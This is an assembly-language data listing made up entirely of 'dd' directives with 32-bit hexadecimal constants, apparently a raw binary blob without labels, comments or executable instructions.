dd 1D178114h, 0C068D729h, 99F1DE36h, 20002CC3h, 0B34CED58h
dd 9DF648h, 985BA03Ch, 81938E33h, 0BDD8400h, 7CA19941h
dd 0AAE900E5h, 0B4170F85h, 3E00FC65h, 76DE9F30h, 7D467E74h
dd 88DD3C75h, 7265AA00h, 0D0750F6h, 6FD0BC00h, 62318D8h
dd 267EE038h, 1EB0CD22h, 6A9A4344h, 283D0FC7h, 0AA6E8046h
dd 5385E2B6h, 0B2E300D7h, 9ADDD896h, 0FC00BC59h, 0AA4C237Dh
dd 12CBAE62h, 0AF60508Ch, 0E0DA8E0Fh, 6EEC1424h, 0AAF00074h
dd 0E1E50B7Ch, 417787DFh, 0BEC02D1Eh, 3F065740h, 0F4C33481h
dd 714530E6h, 9B83BA30h, 5F9CE100h, 0ED85770Dh, 0EBE6010Ah
dd 78310905h, 8C2C207Ah, 19A2D58h, 4A6A5CA9h, 98EB70F0h
dd 9F4ECB6h, 3B5B1097h, 0D6B03403h, 9F98AFCBh, 23126384h
dd 381D8E82h, 886180FAh, 0CCE5ADF6h, 44650076h, 92AB7EDAh
dd 0D098EAD9h, 852FCD00h, 118CD4F3h, 0D24328F9h, 53A6009Ch
dd 0BE5E6ADFh, 4200CD85h, 0A1AD1B60h, 18BD0Dh, 9B79A97Dh
dd 8B76C4B8h, 11B97B00h, 0AF17BB45h, 0C3945863h, 0C3E6F90Fh
dd 0F67D1C0h, 0F50E2D5Ah, 0C03B3A0Eh, 8E9C76A4h, 0AC1300C8h
dd 0D8564140h, 61006589h, 3EA92739h, 13E047E7h, 4031EACEh
dd 0FCC6BEF8h, 0CF00B5AEh, 0BBCDC310h, 0DCCBE5h, 0EB621525h
dd 997D9F40h, 2A4FEE00h, 0E018A90Eh, 28EFEE20h, 0C44914h
dd 0F78E4CB3h, 7E469A8h, 980B9D71h, 0F418FD51h, 0C4B81441h
dd 0CBC2100h, 0A2E30345h, 235EA900h, 9EF43948h, 834D12FBh
dd 797F007Eh, 0A03FC5BAh, 0A8385A00h, 59739BE2h, 604A0E94h
dd 9EE0EE24h, 2CF145Fh, 0D429A200h, 1565977Dh, 88D200ECh
dd 0C5F410EFh, 0A70013C0h, 0B06C92DEh, 8684Bh, 21B86959h
dd 6ADD5ABEh, 482F370Ah, 1A00D4D8h, 735D2B70h, 0F82DB80Ah
dd 0A14700ABh, 6CE959A5h, 8609C560h, 0A0E0CCE2h, 0D11D6D98h
dd 0CBC713Dh, 74549769h, 0CE05B72Eh, 5B1AFD47h, 8FBAD403h
dd 75B5E07Ah, 0B2110007h, 2150AEB3h, 0E90033D3h, 0EF7C0E30h
dd 0BE6EE0h, 0BC0A40B1h, 0C6D9AB5Dh, 27899F07h, 0EFF04C6Bh
dd 3A108DF0h, 158F3FE7h, 0B3A02B1Bh, 57B9CBFh, 1743A07h
dd 0D8131EB8h, 7038C846h, 0AD210F19h, 0F68098CCh, 0B6F7AEE5h
dd 56D97702h, 404C40F5h, 7A2EEF8h, 0AEB5EDA8h, 0E04757EBh
dd 0B90F3756h, 0F8B6C100h, 0F17F6191h, 0FA0A0016h, 95AEC11h
dd 4100811Fh, 0DF2CF890h, 23AD3Ch, 0EB6DCABFh, 78170B86h
dd 0E6545E00h, 0B1C01E94h, 96F7806h, 3F2DEC92h, 80EFBC85h
dd 0C78F36B8h, 2C8C2E00h, 0CCEC0DE1h, 55680080h, 0A24B9B45h
dd 1F07958Ah, 38F447Eh, 626EDB50h, 0D57D00C6h, 592F641Ah
dd 0B91F902Eh, 0D0000154h, 8E4A156Dh, 0E43D0E4Bh, 7483D308h
dd 2F90AEBBh, 0C3000997h, 1D0DC2EEh, 66C40Ch, 55CCBC95h
dd 0FF224B40h, 8153E83Ah, 29DD15EEh, 16C3206Ah, 0CF6BACh
dd 0FAD4CAECh, 30EB013Bh, 0D600F0EBh, 226D83CEh, 1CFF3C28h
dd 89E0E558h, 3C006BD4h, 258A5364h, 90625014h, 0B2007ACCh
dd 194D1DE5h, 7D7D8FC5h, 7ABE02C1h, 68A83353h, 32EAE0C0h
dd 43BB6103h, 0E0904594h, 0FEDA6F5h, 0C86F3B07h, 2BD6B7C0h
dd 0CA3C7A26h, 5E6500BDh, 3904BEE1h, 9C580028h, 4FAAD3A1h
dd 0FD1C9448h, 5DC14345h, 0FED4FFFAh, 0F8F33C74h, 0F11D0272h
dd 8971D0AAh, 0CE941040h, 9B7E7500h, 0A8FE467Ch, 6D8D0050h
dd 92D16329h, 0D3B00895h, 56056B70h, 577A90B6h, 0E94699C0h
dd 0FF921388h, 4EC44097h, 0F0B8CCD8h, 62D52401h, 0B129E06Dh
dd 9354F4h, 41C91DB3h, 0CEC04A7Bh, 0E6FF3900h, 0DA2A730Bh
dd 205B0042h, 6C93DE50h, 8D03479Fh, 0A18930BBh, 0E122D0E0h
dd 0C5260329h, 0B9FC9B02h, 0B4400EA8h, 895FE800h, 9EEDAA98h
dd 6335004Dh, 0B3F1308Eh, 0E000E936h, 0D6DF5AEBh, 244A74h
dd 8C5C485Bh, 0AE380966h, 5604720Bh, 288805ADh, 0EEA76F80h
dd 6C883E97h, 0C00E05Ch, 85415F31h, 0A500C9BEh, 0D9CCD421h
dd 43BCDFh, 0A3194936h, 5C03D08Bh, 6500E479h, 0E74886AFh
dd 0B6FCC87h, 8ACEA24Ah, 21BBAC00h, 0FE1DA48Ch, 358277C4h
dd 801F2D15h, 0F282B9CCh, 18EF0053h, 0BD9F319Eh, 8F267AD1h
dd 0FC03B832h, 900F43B0h, 0FA5402C2h, 4C8600A7h, 119F83A2h
dd 0F678F536h, 4A4789Fh, 17ABF727h, 0E54CA187h, 636360EAh
dd 4F752900h, 7F377E6Bh, 91E11679h, 0E8980751h, 7A8613D2h
dd 0D42A76C9h, 48C4407Fh, 0E4E043C4h, 230E00A7h, 72F03E8Dh
dd 5900AD44h, 9C3A94A3h, 75B9C5h, 0F9FDEB1Bh, 56E49FF8h
dd 2CA0ED2Ch, 1265813Ch, 844EE5A8h, 3606C828h, 20A3E120h
dd 0B430481Fh, 89D12805h, 3CC01484h, 0F2BF1EAFh, 8CE60043h
dd 9C7C42F1h, 6E2CB913h, 3500C060h, 0F5EC6920h, 5D25183Bh
dd 0A97938E1h, 76504301h, 81B1B76Eh, 797C64C8h, 69E10001h
dd 0BAEFE0ADh, 0D9036AC8h, 0D8B48391h, 0AF0C88C5h, 66C7120Bh
dd 0DF9F007Dh, 29984D8Bh, 0FEC42E00h, 0D29DCBC0h, 0ABB85Dh
dd 0A6E9EA3Ah, 2B9213DEh, 0F73F26h, 0F0042700h, 1F2AAB4h
dd 0AB1C838Ch, 706FFCC2h, 9828A50Eh, 3B01A840h, 0F39C1EF1h
dd 0E0C3040Dh, 3F5F61B0h, 0F22CCB2Fh, 1D700080h, 1175260Eh
dd 4944D116h, 84D06425h, 4D084BFh, 0DD0533F8h, 8994C0CAh
dd 0F50CBDB8h, 0A085DC25h, 78110EFEh, 24E04660h, 30940157h
dd 0CABE720Eh, 844973h, 86181334h, 799F003Dh, 0B82A7A91h
dd 0C1006D31h, 0F9625DCFh, 0E44AFh, 83062270h, 6756B2CDh
dd 7D94E704h, 0E8E0FE3Bh, 90B078h, 71962701h, 8EC9AF7Ah
dd 0A92CE712h, 74027805h, 3BA1E6C0h, 62B939CAh, 1B46C307h
dd 18EE0A21h, 0CF2C28A7h, 61F97404h, 81D83Fh, 0C9F396FEh
dd 48601039h, 0A299195Bh, 0E4B5317Fh, 0E30238F4h, 0BC5690E8h
dd 6C0961D4h, 121F9030h, 96ED47h, 2180C09Ch, 0CA005DE9h
dd 0D9A87E74h, 0E8E4BBE8h, 2CB500EFh, 2FBA9018h, 0BC1612CFh
dd 7C0EFF35h, 0CC409647h, 0E7EDBD7Ah, 64EF0E06h, 0B5A0F32Bh
dd 3C6956DDh, 74072900h, 0BAF4D4F0h, 0CBE22EB4h, 33C6004Ch
dd 9E7F0AC7h, 0E3ED6401h, 0C34CFB3Eh, 1D2AC8DBh, 0BB583982h
dd 0EB55A401h, 62F1D21Ch, 32C300A8h, 5D90890h, 0B85B7DE4h
dd 4C685C91h, 0DB1A2E04h, 0B420A050h, 33135101h, 0F1C7FAE5h
dd 0FD025872h, 0B91BF821h
dd 25B8D440h, 971A1909h, 2B00007Bh, 372ECEh, 33FCD35Fh
dd 4D5375C1h, 925220E1h, 0D5BB3800h, 0ADBD906Fh, 0CD31136Eh
dd 2C00C05Bh, 0E9000BD7h, 0EF23F9E3h, 0C5F29h, 8E7AF1CBh
dd 0B77176F5h, 5D77003h, 0E0FF62F9h, 0BAA968h, 278A8021h
dd 4670F36Dh, 0FC555D00h, 0D532BEA5h, 9C2600F8h, 0F9C2A2E2h
dd 0E9002A9Bh, 8C4D3182h, 0FB7F092h, 1D552E44h, 7B344C80h
dd 15FCEC88h, 41252200h, 46446072h, 28A1F0E6h, 3FE879Ah
dd 0CC392E77h, 0AC989B2Fh, 56002152h, 0C142DDFEh, 0D91367h
dd 8B0C64E5h, 0C06A5AA4h, 3C0F16ECh, 6F599577h, 0FD9B4025h
dd 5071D5C7h, 28941Ah, 6F641876h, 4E8D0732h, 0C3003BB0h
dd 7B2477EBh, 0CBDA4Fh, 0BA17220Ah, 76E9C7A7h, 847E0B00h
dd 11E818EDh, 0FBC10E09h, 0AA3C07Bh, 29A8C9Fh, 371890C0h
dd 710F6AE4h, 0E0CE2F50h, 633F3206h, 0DDA83CA3h, 0D209007Eh
dd 40E9DA1Bh, 0EB1C6167h, 0D7404F9Ch, 0E07F0114h, 9BF287h
dd 6CEC505h, 0BCFADAE5h, 2C1D48h, 0CF5E4841h, 1D77480h
dd 8CE312EAh, 0EC308254h, 0F41C7A5Ah, 0D46CDD27h, 0F8BB3E0Eh
dd 7611862h, 44E90945h, 6EE930Bh, 0AA511FC0h, 300C11B0h
dd 6934FCD1h, 2BDB03D0h, 2E7D8EDAh, 8CF393A0h, 7187B701h
dd 8385D14Dh, 0F63D2C4h, 8E08FB72h, 0BD375243h, 0E5AA02C0h
dd 0FF37701h, 4E29844Fh, 9CAABF0h, 0EDE3DD8h, 0C072BB84h
dd 5A3B787Ch, 920156E8h, 0C26BB6B5h, 0E5EC9EB7h, 0CA0C0016h
dd 0B47BCEC8h, 99006380h, 29AA015Ch, 321C94h, 0E4ABB3B8h
dd 3B20A4D8h, 0B0BC38h, 9DC77EF1h, 0BE55ACh, 494DB1C0h
dd 53780FDAh, 4C007F71h, 0BF97B89Ah, 0FCBB3AD6h, 0CAE683h
dd 5C6138A6h, 4DC0C77Fh, 0B3669E00h, 825346E0h, 0AC8300D3h
dd 691E8C54h, 0BF70DFDCh, 6D00B773h, 121924A3h, 1C66053Eh
dd 9F3D1A34h, 358D64Ah, 0AFD54CB5h, 146AECA8h, 0B0605B07h
dd 6B506F94h, 7E279F26h, 98791Dh, 1CAA1DEh, 0FE861FC4h
dd 0ED32C4FFh, 2D54AD00h, 3631E067h, 0CAF000F1h, 0E2FE0A3Fh
dd 9B000419h, 0D66D4B62h, 1E950F7Ah, 0DD6C29BBh, 0E3CC0F5h
dd 8DD41F1Ah, 63F4B900h, 178B26D1h, 55CB07CFh, 0D09F6BA1h
dd 39C77868h, 0CC43281Ch, 80120E0Fh, 7404FD49h, 8CDA0B26h
dd 0D3095920h, 19B27B06h, 0EFEB6401h, 885C9707h, 3B609420h
dd 1A00A2F9h, 29DDDE5Bh, 0DC00A736h, 130B2F41h, 3B7E15C1h
dd 3B0E1658h, 0F820B144h, 9985B3B4h, 0FB4C7D00h, 235C6EA8h
dd 0F06F00DDh, 833415F5h, 0E5FCB07Ah, 353639h, 5C7295B2h
dd 0EF0EEDh, 0BCB99751h, 0B453279Ch, 4AD929C0h, 0EEE9806h
dd 5A178B3h, 47F7B9C1h, 0CEF1C8F8h, 0CB00C1FCh, 0B51A2932h
dd 0CD7D50h, 0C602758Bh, 0F27B81D5h, 77A6BA00h, 0A445D6D9h
dd 0FA6612FEh, 300C0048h, 8AAE75D8h, 46632C00h, 0C6E6B10Bh
dd 672000ADh, 0CDA22742h, 1600B4BDh, 9A313C51h, 7D95D5h
dd 0DE155750h, 668CFE99h, 97C4C01h, 20D4DDACh, 618319CDh
dd 587B33C8h, 5AA677C0h, 9A011174h, 824BE72Bh, 10843159h
dd 0F530B9Bh, 0EFA00729h, 0A71C401Fh, 7B6186h, 0A6BF43B2h
dd 16CBF689h, 0A946DA07h, 9020227Fh, 5B15DFh, 0CF490855h
dd 0B79A566h, 0CE807C60h, 81B25E6Fh, 53EC307Eh, 0D798C0Ch
dd 787216Eh, 5B07605Eh, 0AD32F085h, 60A0BC01h, 0CDB0A04Ch
dd 7B0F9901h, 83498CFAh, 0DE12F0h, 2436A27Eh, 5922B913h
dd 4C9E8100h, 75D3FA2Ch, 936E0078h, 8C1F73B5h, 1500B027h
dd 0DA764201h, 59E537h, 6F550A5Ah, 0DE9109D9h, 2D93400Fh
dd 7803F50h, 5F6C7FAEh, 1639079Fh, 70AB905Eh, 0E84FC821h
dd 0F95AC000h, 44CE0564h, 79C70017h, 0A438AAC5h, 183CC130h
dd 819B80DFh, 764721A1h, 0AD1928C8h, 50820380h, 0B808D7F4h
dd 6CFE72D7h, 0D07A1469h, 2014052h, 66508524h, 0DDDCDD2h
dd 590FE1FFh, 784AC8E0h, 84FE02EBh, 9A583CF2h, 6257AC81h
dd 82DDD083h, 59EE483Eh, 0E05206A4h, 3C502054h, 0AC50F7FAh
dd 41D80093h, 0A059170Eh, 9C006C79h, 294CBA3Bh, 0F8184284h
dd 0BF5C07D3h, 0C3D74DD5h, 0A2C0FC3Ch, 9AF05471h, 8C1D018h
dd 839240h, 477DDD2Dh, 15E0094Dh, 0BC9F18C1h, 4F02B86h
dd 630201DCh, 771F403Eh, 33B54092h, 4700315Dh, 2FEA5411h
dd 26099F7Fh, 1F746B9Ch, 573A807Bh, 94D689A0h, 6F09D1Fh
dd 4C256F05h, 2FDD89C1h, 9730A852h, 1FD40004h, 72F92218h
dd 0C960728h, 51B16E14h, 7A341298h, 735B5440h, 238F6BDh
dd 0CDD4272Eh, 0A48155DCh, 705C8A7Ch, 0E8E353E1h, 4B67E95Eh
dd 8F42EF48h, 4F044F9h, 4A3BC42Dh, 0FD71C1CFh, 0D15EFDC6h
dd 621802Ah, 44673BBCh, 0F17300E5h, 0FAED6FF6h, 27604D5Dh
dd 9CDF8289h, 24C9C950h, 6D72C98Ch, 7794BB48h, 0E729E662h
dd 5EC0576Ch, 725C083Ch, 0D7980061h, 0D5D4F347h, 0C0526E24h
dd 600BA127h, 960C8EE8h, 0A2FB1B03h, 0A546F501h, 0E04DF003h
dd 0BCE81179h, 0EAEE0061h, 0EFD3C6DDh, 0D13B5085h, 0E5D8004Dh
dd 507FAFD4h, 88EA5830h, 0E0401CACh, 0ECA14928h, 9DAA6506h
dd 523D20DCh, 6F54C0Eh, 576E2180h, 87731FE9h, 94D409BCh
dd 77CC6887h, 216D46DCh, 808F8C3Ch, 0B090A3C4h, 15FE1BEh
dd 3EFF4564h, 0DFA8A25Ah, 0FDD8601Ch, 508881C4h, 18C39080h
dd 1098A9FBh, 6871670h, 7E6FD95Ah, 0ED6009B2h, 16D67021h
dd 905EF86Eh, 74100D8h, 9C122AB9h, 0EA009EBBh, 0FBFC143Eh
dd 5280DCF9h, 82416020h, 89B88E06h, 93118B60h, 0C27BF492h
dd 766D021Ch, 0B008D005h, 0C0C95408h, 5AA516EBh, 881318F7h
dd 1600E41Eh, 0B5E29A9Dh, 0B0AC7CFFh, 0D7210934h, 24204833h
dd 0B0D92B1Dh, 80D10A07h, 4A07B6A0h, 17CAA850h, 5A8A26C4h
dd 319C02D4h, 0D86433D6h, 594A6200h, 3223F9ADh, 3BFF3357h
dd 21024B08h, 0BE5921BFh, 10BC827Fh, 1B90047h, 0C87C33F2h
dd 736A8E12h, 51D02C03h, 0A24101D6h, 282EC2Bh, 59C99EDEh
dd 40308C8Ch, 5CF900ACh, 0D7601ED9h, 633238CDh, 847AF864h
dd 0E061C690h, 0F1706016h, 3B00E4A7h, 0E03416E9h, 0C059549Ah
dd 5CC73DFEh, 5A0488C8h, 8033C3D2h, 78FDD445h, 0F484FB24h
dd 62619088h, 0D0074C3Dh, 60D97402h, 34ECF774h, 98E08792h
dd 8252BDACh, 3014F2E4h, 4F004196h, 52D3ECD0h, 0FF39D2Bh
dd 0D6973FE7h, 0F93799C3h, 7920D1E4h, 0D034D5BEh, 0E00992BBh
dd 0EA1B2F6h, 0FC0180A8h, 26605FF9h, 8601B2Dh, 3001359Ch
dd 0EAAF5482h, 0E47C3C95h, 75781801h, 96F7DE09h, 40613AF0h
dd 2987513Bh, 438C42h, 9ACAF086h, 0B4544424h, 0D7D57301h
dd 0C7DC1AFAh, 0E1960042h, 309FE777h, 8024DE5Dh, 0A3C0902Dh
dd 21D4EABCh, 8491DBF4h, 7F8B901Eh, 7E005FD8h, 0F5B5ED1Bh
dd 0B4A0891Eh, 0C520D0CEh, 0DD58A1DBh, 0C4F64918h, 113BF923h
dd 20C20166h, 0B9938459h, 2E3DA70h, 0AFA55C8Ch, 0E4A0868Dh
dd 39E828C8h, 0C09084B0h, 7FAAD21Ah, 4E544140h, 0BC049818h
dd 0DBECD4EBh, 991EF48Bh, 2AB408Eh, 9CDA73D6h, 25A64312h
dd 0B89A3C42h, 19304048h, 22F033D0h, 8BAD1818h, 0C024C824h
dd 0A9CEB9BAh, 191DF930h, 7C88EFAh, 0C4EDB746h, 7817603Ch
dd 1D009149h, 0B4F58499h, 2A6DC92Eh, 38904F34h, 3580222Bh
dd 0C2267B0Ah, 0E400589Fh, 349B14Bh, 615F5210h, 0DB1C6153h
dd 0A5B06480h, 7709B201h
dd 0DE64FAF9h, 0ACD74C70h, 1159E4CCh, 882BF9AEh, 2AC4814Eh
dd 621C3D59h, 331A0168h, 77819805h, 0CED4A1C1h, 1EF317D7h
dd 329404BFh, 0F9D481F6h, 9918118h, 0D701FD87h, 8B0EA03Ah
dd 8D007B70h, 2E61B426h, 0A73B1E4h, 5798A264h, 0D5C40BBCh
dd 7D6E7498h, 43A6DCA8h, 0D973A501h, 0F985ACE3h, 0FF75E670h
dd 0B6C2180h, 6FE5AD3h, 3C231100h, 0A5052664h, 7F7D00F6h
dd 0CF4EDF84h, 2492F5D0h, 4F585514h, 10D7899Ch, 7FF070BCh
dd 94B2E262h, 12F3827Ch, 444090C8h, 44864C84h, 0D3705621h
dd 3E184848h, 600C1897h, 12F9C9D0h, 57D694h, 2B13F564h
dd 5CB08E26h, 0CC2CBE00h, 23B6DD7Ch, 58E35C14h, 18C1EE8h
dd 92864C7Bh, 0F0693FFEh, 9C6C46EEh, 8C945070h, 113BAD3Bh
dd 3188BFCFh, 3BC50780h, 22CDA49h, 9B4F55C0h, 0B060FFE1h
dd 44944B50h, 9282CEE5h, 85FC40E3h, 9170C8A1h, 543BAEC0h
dd 94C748CFh, 3BC808E3h, 101CD862h, 4C8958D2h, 0D48480B1h
dd 0A5248CE5h, 9ADF0BA8h, 60918817h, 5AB21682h, 28EA9042h
dd 0F0182062h, 134C4C24h, 69170969h, 0CDE0A27Ah, 0B3304855h
dd 12E898A1h, 40DF19C4h, 8AE2A488h, 0FB00F060h, 7831B637h
dd 1356EFB1h, 0A216B4h, 0DCACCCFCh, 0C3020B35h, 74294CA7h
dd 46946408h, 8E4F3DE3h, 4B8BF9B2h, 0EC1456h, 58594790h
dd 93D264D3h, 2094C351h, 0E8C2280h, 0D4DFBC8Ch, 8891A19Fh
dd 7B94951Eh, 9D5FF580h, 0B7D51B56h, 1D5D85Ch, 2DD415F1h
dd 4C64348Eh, 0D3553A5Dh, 44CC2AACh, 0D0824293h, 6384A5DDh
dd 0D051830Ah, 1D45D605h, 1C31F0D0h, 0ACA048D0h, 10866FC1h
dd 2088CD5Dh, 0B3000E50h, 0CB27E88Bh, 0B0F979A1h, 6F201862h
dd 0ECFB185h, 0C017478h, 0DFB97D92h, 0C0E47B25h, 0C1A30BFBh
dd 0F881FF54h, 0D8AFD60Fh, 2756D3B8h, 668614B4h, 9334CB98h
dd 0FDFC90C0h, 0A5B93CBBh, 0FB5D42Eh, 2F00EA80h, 0AAD3BA5Dh
dd 0C4F66CB0h, 91FD2240h, 1823D1A8h, 0B612003Eh, 0B37C4D98h
dd 0E2E27E11h, 1682C49Ch, 0E7A1A551h, 8E714FF4h, 1FB92024h
dd 268CD3CAh, 82348A86h, 3451BCC9h, 8FE34048h, 6437A22Ch
dd 0B180A011h, 0DFCF4F3Bh, 1325448Ch, 0AC3BC900h, 0BC1B657Eh
dd 49D812D0h, 1C6021ECh, 0A2288412h, 805A24h, 58D0D354h
dd 0F87904F8h, 187B6BC8h, 902BE404h, 0D894350Ch, 0B4AC54E5h
dd 0E0491708h, 0C6910028h, 54F173EEh, 241C0033h, 2997FD26h
dd 0E52CE7DEh, 4791FC79h, 0ECBCA580h, 0DC5C04D4h, 879AB160h
dd 0F168FE4h, 7EBB04FEh, 0D5D70233h, 0C480B118h, 8ACC17D7h
dd 0DDAAF904h, 70880482h, 75B02E9h, 4FCE80C4h, 0B95FDC80h
dd 1D0073E7h, 8A6453DDh, 96EAA884h, 0B0100870h, 5437B207h
dd 0BBC11290h, 47652A4Fh, 42D025ACh, 60C55492h, 806587C4h
dd 0F9B0FDD4h, 0C002B4A2h, 0DD0561A8h, 6DC8ECCBh, 7B6407C0h
dd 123F0045h, 3DC67DE7h, 0E60024D7h, 755021CCh, 9527796h
dd 0C3B6209Bh, 2817882Bh, 0F0804B91h, 5184DEDAh, 4E188F4Ah
dd 19A7888h, 0D7201D42h, 0E0A02FC1h, 9624982Ah, 642660D4h
dd 748100DEh, 92287F4Fh, 481C68CEh, 0D812202Fh, 13346000h
dd 0AD0BB9Dh, 0B4CC9A62h, 0E05202E0h, 78602F84h, 5B546F47h
dd 0CC00D194h, 9F6E70DAh, 737EE03Ah, 9CD23442h, 2BBC0821h
dd 0E0BC89C0h, 86A47ED4h, 79966E44h, 5F7A0091h, 0D21467EAh
dd 25FE85E9h, 7987D51h, 8850B6F0h, 51D07707h, 54EA182h
dd 0C4803A04h, 96E9ECF9h, 8C1831C8h, 1DD3004Ch, 5E8C9426h
dd 461C8A46h, 0F0933944h, 813C9B4Fh, 0CEDF128Bh, 0A606EC22h
dd 0C80938D3h, 0D0A8F972h, 18000BF4h, 3B874527h, 4978920h
dd 4A26472h, 2004A158h, 31C01623h, 0B308257Dh, 2136002Dh
dd 270A9D94h, 0C000BA49h, 0C2F922A7h, 842B90h, 77425583h
dd 96498ACBh, 14C7FE0Bh, 0A2682219h, 7E60C8AFh, 0FAAC24CBh
dd 8DE401A0h, 6843FE82h, 7F1F7EFCh, 6FD93D3Ch, 9C32EFC9h
dd 0EB3022F2h, 0CB7616B1h, 7E5487C4h, 0DF826BC0h, 31F02899h
dd 549C1C90h, 87465Ch, 649EABB3h, 2BD015Dh, 70608C10h
dd 1C41F109h, 2CB4351Fh, 0EC04D3B0h, 0FA04526Eh, 0EF9CE0A8h
dd 2D66C96h, 0CFB51207h, 702021F8h, 3AB72342h, 330F6F2Bh
dd 1F005B13h, 31E9D047h, 0C24EB890h, 723C02Fh, 0A5F0EB00h
dd 3E08E60h, 2189528Ch, 0D913866Eh, 1501797Ch, 96F0E57Dh
dd 0EEFACDE0h, 0DB090056h, 7764B5EDh, 8069B67Eh, 83E004D8h
dd 2DB004F6h, 0CF0529D4h, 0CC0B9256h, 8672B881h, 384FEF01h
dd 8C4BBC7Ch, 0FA9BF113h, 900120D0h, 0F52F0792h, 0A25AA0BBh
dd 0E0785434h, 55E02800h, 0F4218AACh, 11EF2C12h, 37B18048h
dd 0B98E8578h, 5102089Ah, 4D7A06FFh, 0EA7490C0h, 5A981616h
dd 5C8BC1h, 0BC16E33Dh, 18E19DEh, 0C528EDEFh, 3040E84Fh
dd 9A3294ECh, 6DE5F09Dh, 0C988E078h, 6D0294CAh, 500312A3h
dd 2DC8FE2Eh, 188BD811h, 563B09C8h, 481CB7CFh, 3BC01200h
dd 70A8151Dh, 0B9E0002Ch, 0B8F8D101h, 0F094E319h, 0BC468420h
dd 8C16DE02h, 0E31E15Ah, 16D77110h, 50EA151Ch, 0C2FCC00Bh
dd 0A4F460ACh, 58509A4Dh, 5E04F09Eh, 0B005B0AAh, 5140CF28h
dd 1C3D18D0h, 0A17E51E2h, 0B0B74600h, 0B29F6257h, 0B3C90F95h
dd 45E0DA47h, 0FB8EE630h, 0C784DC91h, 820380C1h, 491806D6h
dd 0B7F917F9h, 93AF03DCh, 9B345FE4h, 6A8E80E0h, 27019A73h
dd 24C28A3h, 6C30EA68h, 81C28837h, 3FA8CB00h, 302CD01Dh
dd 0B399F84Ch, 52AC70E4h, 0A1787102h, 4BE5F501h, 0FEB0183Ch
dd 0C77E71A6h, 0DAB03404h, 58C7BC51h, 0DD7AFD10h, 152A161Ch
dd 63F489FBh, 3089A2E8h, 0B506A52Dh, 5234DD60h, 8D9D00A1h
dd 40FF8B43h, 9F000B82h, 2AE4B80Ah, 90330EAh, 56065CFCh
dd 0F370DC10h, 0D0ACE200h, 29B9D81Fh, 82920F2Ch, 3E4176AFh
dd 0F0D64989h, 9D609FD3h, 94CAA08h, 3060949Bh, 55A96240h
dd 1830B14Fh, 25D07AF8h, 0F4979943h, 45804A11h, 84860EE4h
dd 8C401A4Ah, 0F03F2FA2h, 0C1B03935h, 0DF480C80h, 998AD68Eh
dd 6CB29A00h, 0EFE44CDBh, 0B14F2EC4h, 11ED40B0h, 0A3982378h
dd 62AAFF00h, 0E6EB085Eh, 2824B8C3h, 0A488A652h, 0CEF244C8h
dd 116C0812h, 1B92801Ch, 657ACC4Bh, 6407C4F8h, 346608C0h
dd 61E9C077h, 6DBB3749h, 3D3BF604h, 3CB45852h, 0F09975h
dd 0B2AFC37h, 0DE04816Dh, 3527A8B2h, 5BC16480h, 7E312449h
dd 0FB4C0E99h, 79852387h, 0E10EA898h, 5EEAF26h, 84317F09h
dd 0B2608D30h, 0CF25503Bh, 0E096E7h, 0A13BCA14h, 5A5251B1h
dd 40CD1CA0h, 2F47E31Ch, 183D0804h, 4A6310D2h, 84343570h
dd 0C1BAF25Fh, 371E2B4h, 0C1F7A3EFh, 10AAA736h, 0DD993A40h
dd 0FD933F00h, 6ACD9F02h, 8F29BA02h, 0C67FAC2Ah, 9288C804h
dd 493BCBC0h, 4480D1CFh, 0D052922h, 75D23BC3h, 9CBCA4h
dd 83F4684Fh, 40B588C1h, 0ECDA1C2Ah, 0BAA0CF1Ch, 416249CFh
dd 0AE5C48EAh, 41D28C60h, 0E2804853h, 5956048Ch, 6783F9B1h
dd 40BB9DE8h, 0FABFE459h, 100BA44h, 0D3BD4327h, 0CBE529h
dd 0EC8C9711h, 7E085741h, 30A8095Ch, 0E5D4B17Ch, 42E49ACh
dd 10904F2Fh, 0D2810790h, 9EC5F420h, 91A040E4h, 8B1DB1A5h
dd 3D005840h, 38E3C427h, 0A2330049h, 3FB8F6E0h, 0AD01013Ah
dd 0D4962188h, 587C9A45h, 524EE702h, 0E0643D40h, 82158476h
dd 4FC4158Eh, 29238C2Fh
dd 24288D0Eh, 3080459Ch, 251CF179h, 0B463FBD0h, 23AC2FE5h
dd 0F8F20063h, 9E25E3A2h, 0DB649700h, 20D25A5Fh, 746CB053h
dd 4131C034h, 3087031Fh, 80C0B103h, 0C0780F01h, 0F6A33A9Fh
dd 0D01A8055h, 32F92364h, 0CF1190ADh, 7A8484Bh, 0BB34BE65h
dd 46745C8Ah, 75070047h, 8DC5298h, 74830F39h, 0ACE1EAAEh
dd 50319E01h, 49D8CEF4h, 0A7C81241h, 0E090C23Eh, 0D2050D5h
dd 24AF8BBh, 7F5198CEh, 781192h, 741DE258h, 0C9E51731h
dd 7C42A48h, 0D53348BCh, 920B4702h, 0E88001EFh, 294CB340h
dd 5048B59h, 94D5091h, 0F03C10E1h, 38C47E8h, 0DE79B789h
dd 0A2F895C6h, 0CCA281A0h, 30008F1h, 7E408F63h, 0B38000B7h
dd 11C7DF5Fh, 0FE04662Eh, 0E15CD61Dh, 0D2813C9Fh, 8079349Dh
dd 0FCFB3D71h, 0B59E1B4h, 9AA2DA19h, 4550B804h, 9C81D4ACh
dd 0D0F460B4h, 9F98B4A4h, 1E802B31h, 0F9AFCE54h, 0C004A2D2h
dd 0F5592BC1h, 2E0601F4h, 6B1FEC8Ah, 0E68C42DBh, 82DD7C62h
dd 5150A46Bh, 80CA11E4h, 5AA216ECh, 3C9695D1h, 5116ED80h
dd 84D2661Fh, 0DDD20C9Eh, 0A0B784A6h, 405493BFh, 0D81BFF18h
dd 2A7E61h, 74EE59D0h, 6F2149FAh, 7D80DC96h, 6B8367E6h
dd 2CF423h, 72F235FAh, 0BE388805h, 30DDC12h, 0F8B0E884h
dd 1AF413D6h, 4A4166Dh, 85407438h, 0E014A62Ch, 2CB625FCh
dd 3DB41E38h, 2012CEC4h, 981DED70h, 0AE66B20Ah, 0CB8D6201h
dd 787C0441h, 4EF64022h, 1A45D609h, 317C8027h, 1E9286C9h
dd 0A50BA12Ch, 8F2328E6h, 101C23D9h, 0E67E257Ch, 0B03A235Ch
dd 56CFE005h, 15D3A040h, 0C0806E36h, 0B0299E11h, 6301FF99h
dd 509BF973h, 9FE0A5A0h, 0B8650060h, 0FDFCA80Dh, 8A19643Eh
dd 0CB905EF8h, 4EBC207Ch, 76547C8Ch, 45870C01h, 0F9E88855h
dd 5A202095h, 0E74320h, 0B92BDECDh, 0EFD3D06Bh, 38282E12h
dd 5C8220C7h, 59CC4ACCh, 182579BCh, 71277AEh, 0D0CE3249h
dd 1958BCA9h, 4F466927h, 0B4C900B4h, 0B0157CF5h, 0EF2BEC01h
